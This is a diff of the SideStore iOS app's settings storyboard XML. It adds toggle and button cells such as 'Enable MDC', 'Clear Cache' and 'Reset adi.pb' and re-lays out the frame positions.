||||
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
|
||||
<rect key="frame" x="0.0" y="1082" width="375" height="25"/>
|
||||
<rect key="frame" x="0.0" y="1341" width="375" height="25"/>
|
||||
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
@@ -167,8 +167,8 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Join the beta" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="3Il-5a-5Zp">
|
||||
<rect key="frame" x="30" y="15.5" width="106" height="20.5"/>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Support the team" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="3Il-5a-5Zp">
|
||||
<rect key="frame" x="30" y="15.5" width="142.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
@@ -236,9 +236,45 @@
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="NO"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="amC-sE-8O0" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="GYp-O0-pse" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="444" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="GYp-O0-pse" id="vDG-ZV-xRS">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Disable Idle Timeout" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PCh-Up-aJJ">
|
||||
<rect key="frame" x="30" y="15.5" width="166" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="iQA-wm-5ag">
|
||||
<rect key="frame" x="296" y="10" width="51" height="31"/>
|
||||
<connections>
|
||||
<action selector="toggleNoIdleTimeoutEnabled:" destination="aMk-Xp-UL8" eventType="valueChanged" id="WSl-Jc-g5J"/>
|
||||
</connections>
|
||||
</switch>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstAttribute="trailingMargin" secondItem="iQA-wm-5ag" secondAttribute="trailing" id="MJ1-HF-Dln"/>
|
||||
<constraint firstItem="PCh-Up-aJJ" firstAttribute="leading" secondItem="vDG-ZV-xRS" secondAttribute="leadingMargin" id="Ocu-jn-RAQ"/>
|
||||
<constraint firstItem="iQA-wm-5ag" firstAttribute="centerY" secondItem="vDG-ZV-xRS" secondAttribute="centerY" id="c6W-bN-VAb"/>
|
||||
<constraint firstItem="PCh-Up-aJJ" firstAttribute="centerY" secondItem="vDG-ZV-xRS" secondAttribute="centerY" id="mL6-LB-cjn"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||
<userDefinedRuntimeAttributes>
|
||||
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||
<integer key="value" value="2"/>
|
||||
</userDefinedRuntimeAttribute>
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="amC-sE-8O0" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="495" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="amC-sE-8O0" id="GEO-2e-E4k">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
@@ -269,7 +305,7 @@
|
||||
<tableViewSection headerTitle="" id="eHy-qI-w5w">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="30h-59-88f" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="535" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="586" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="30h-59-88f" id="7qD-DW-Jls">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -309,28 +345,28 @@
|
||||
<tableViewSection headerTitle="" id="J90-vn-u2O">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="i4T-2q-jF3" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="626" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="677" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="i4T-2q-jF3" id="VTQ-H4-aCM">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Developers" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hRA-OK-Vjw">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Developers" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hRA-OK-Vjw">
|
||||
<rect key="frame" x="30" y="15.5" width="86" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="lx9-35-OSk">
|
||||
<stackView opaque="NO" contentMode="scaleToFill" ambiguous="YES" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="lx9-35-OSk">
|
||||
<rect key="frame" x="187.5" y="15.5" width="157.5" height="20.5"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore Team" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JAA-iZ-VGb">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="SideStore Team" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JAA-iZ-VGb">
|
||||
<rect key="frame" x="0.0" y="0.0" width="125.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Mmj-3V-fTb">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Mmj-3V-fTb">
|
||||
<rect key="frame" x="139.5" y="0.0" width="18" height="20.5"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -353,7 +389,7 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="oHX-oR-nwJ" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="677" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="728" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="oHX-oR-nwJ" id="hN4-i5-igu">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -397,7 +433,7 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="0MT-ht-Sit" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="728" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="779" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="0MT-ht-Sit" id="OZp-WM-5H7">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -441,7 +477,7 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="O5R-Al-lGj" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="779" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="830" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="O5R-Al-lGj" id="CrG-Mr-xQq">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -478,10 +514,50 @@
|
||||
</tableViewCell>
|
||||
</cells>
|
||||
</tableViewSection>
|
||||
<tableViewSection id="y49-Tc-odS">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="DqL-lJ-MhM" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="917" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="DqL-lJ-MhM" id="KhD-Gc-Ehv">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="6NJ-PB-6Jz">
|
||||
<rect key="frame" x="296" y="10" width="51" height="31"/>
|
||||
<connections>
|
||||
<action selector="toggleMDCEnabled:" destination="aMk-Xp-UL8" eventType="valueChanged" id="9rd-cM-Yb1"/>
|
||||
</connections>
|
||||
</switch>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable MDC" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="kux-ac-Ujm">
|
||||
<rect key="frame" x="30" y="15.5" width="98.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="kux-ac-Ujm" firstAttribute="centerY" secondItem="KhD-Gc-Ehv" secondAttribute="centerY" id="Ep6-5u-UiO"/>
|
||||
<constraint firstItem="kux-ac-Ujm" firstAttribute="leading" secondItem="KhD-Gc-Ehv" secondAttribute="leadingMargin" id="M3Y-cf-s4C"/>
|
||||
<constraint firstAttribute="trailingMargin" secondItem="6NJ-PB-6Jz" secondAttribute="trailing" id="SfD-jS-svQ"/>
|
||||
<constraint firstItem="6NJ-PB-6Jz" firstAttribute="centerY" secondItem="KhD-Gc-Ehv" secondAttribute="centerY" id="ymQ-xO-ARV"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||
<userDefinedRuntimeAttributes>
|
||||
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||
<integer key="value" value="0"/>
|
||||
</userDefinedRuntimeAttribute>
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
</cells>
|
||||
</tableViewSection>
|
||||
<tableViewSection headerTitle="" id="OMa-EK-hRI">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="870" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1008" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -514,7 +590,7 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="Qca-pU-sJh" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="921" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1059" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Qca-pU-sJh" id="QtU-8J-VQN">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -550,7 +626,7 @@
|
||||
</connections>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="rE2-P4-OaE" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="972" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1110" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="rE2-P4-OaE" id="qIT-rz-ZUb">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -582,17 +658,50 @@
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
<connections>
|
||||
<segue destination="g8a-Rf-zWa" kind="show" identifier="showErrorLog" id="SSW-vL-86I"/>
|
||||
<segue destination="g8a-Rf-zWa" kind="show" id="vFC-Id-Ww6"/>
|
||||
</connections>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="eZ3-BT-q4D" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1161" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="eZ3-BT-q4D" id="17m-VV-hzf">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Clear Cache" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="IbH-V1-ce3">
|
||||
<rect key="frame" x="30" y="15.5" width="98.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="FZe-BJ-fOm">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="FZe-BJ-fOm" firstAttribute="centerY" secondItem="17m-VV-hzf" secondAttribute="centerY" id="bGv-Np-5aO"/>
|
||||
<constraint firstAttribute="trailingMargin" secondItem="FZe-BJ-fOm" secondAttribute="trailing" id="ccb-JP-Eqi"/>
|
||||
<constraint firstItem="IbH-V1-ce3" firstAttribute="centerY" secondItem="17m-VV-hzf" secondAttribute="centerY" id="iQJ-gN-sRF"/>
|
||||
<constraint firstItem="IbH-V1-ce3" firstAttribute="leading" secondItem="17m-VV-hzf" secondAttribute="leadingMargin" id="m1g-Y6-aT5"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||
<userDefinedRuntimeAttributes>
|
||||
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||
<integer key="value" value="2"/>
|
||||
</userDefinedRuntimeAttribute>
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VNn-u4-cN8" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1023" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1212" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VNn-u4-cN8" id="4bh-qe-l2N">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset Pairing File" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ysS-9s-dXm">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset Pairing File" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ysS-9s-dXm">
|
||||
<rect key="frame" x="30" y="15.5" width="140" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
@@ -618,8 +727,41 @@
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="e7s-hL-kv9" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1263" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="e7s-hL-kv9" id="yjL-Mu-HTk">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset adi.pb" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="eds-Dj-36y">
|
||||
<rect key="frame" x="30" y="15.5" width="102" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="0dh-yd-7i9">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="0dh-yd-7i9" firstAttribute="centerY" secondItem="yjL-Mu-HTk" secondAttribute="centerY" id="8OI-PI-weT"/>
|
||||
<constraint firstItem="eds-Dj-36y" firstAttribute="leading" secondItem="yjL-Mu-HTk" secondAttribute="leadingMargin" id="BqG-Ef-xQo"/>
|
||||
<constraint firstAttribute="trailingMargin" secondItem="0dh-yd-7i9" secondAttribute="trailing" id="TFW-nu-jo4"/>
|
||||
<constraint firstItem="eds-Dj-36y" firstAttribute="centerY" secondItem="yjL-Mu-HTk" secondAttribute="centerY" id="YiJ-OF-FXE"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||
<userDefinedRuntimeAttributes>
|
||||
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||
<integer key="value" value="2"/>
|
||||
</userDefinedRuntimeAttribute>
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="fj2-EJ-Z98" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1074" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1314" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="fj2-EJ-Z98" id="BcT-Fs-KNg">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -656,15 +798,16 @@
|
||||
</sections>
|
||||
<connections>
|
||||
<outlet property="dataSource" destination="aMk-Xp-UL8" id="c6c-fR-8C4"/>
|
||||
<outlet property="delegate" destination="aMk-Xp-UL8" id="moP-1B-lRq"/>
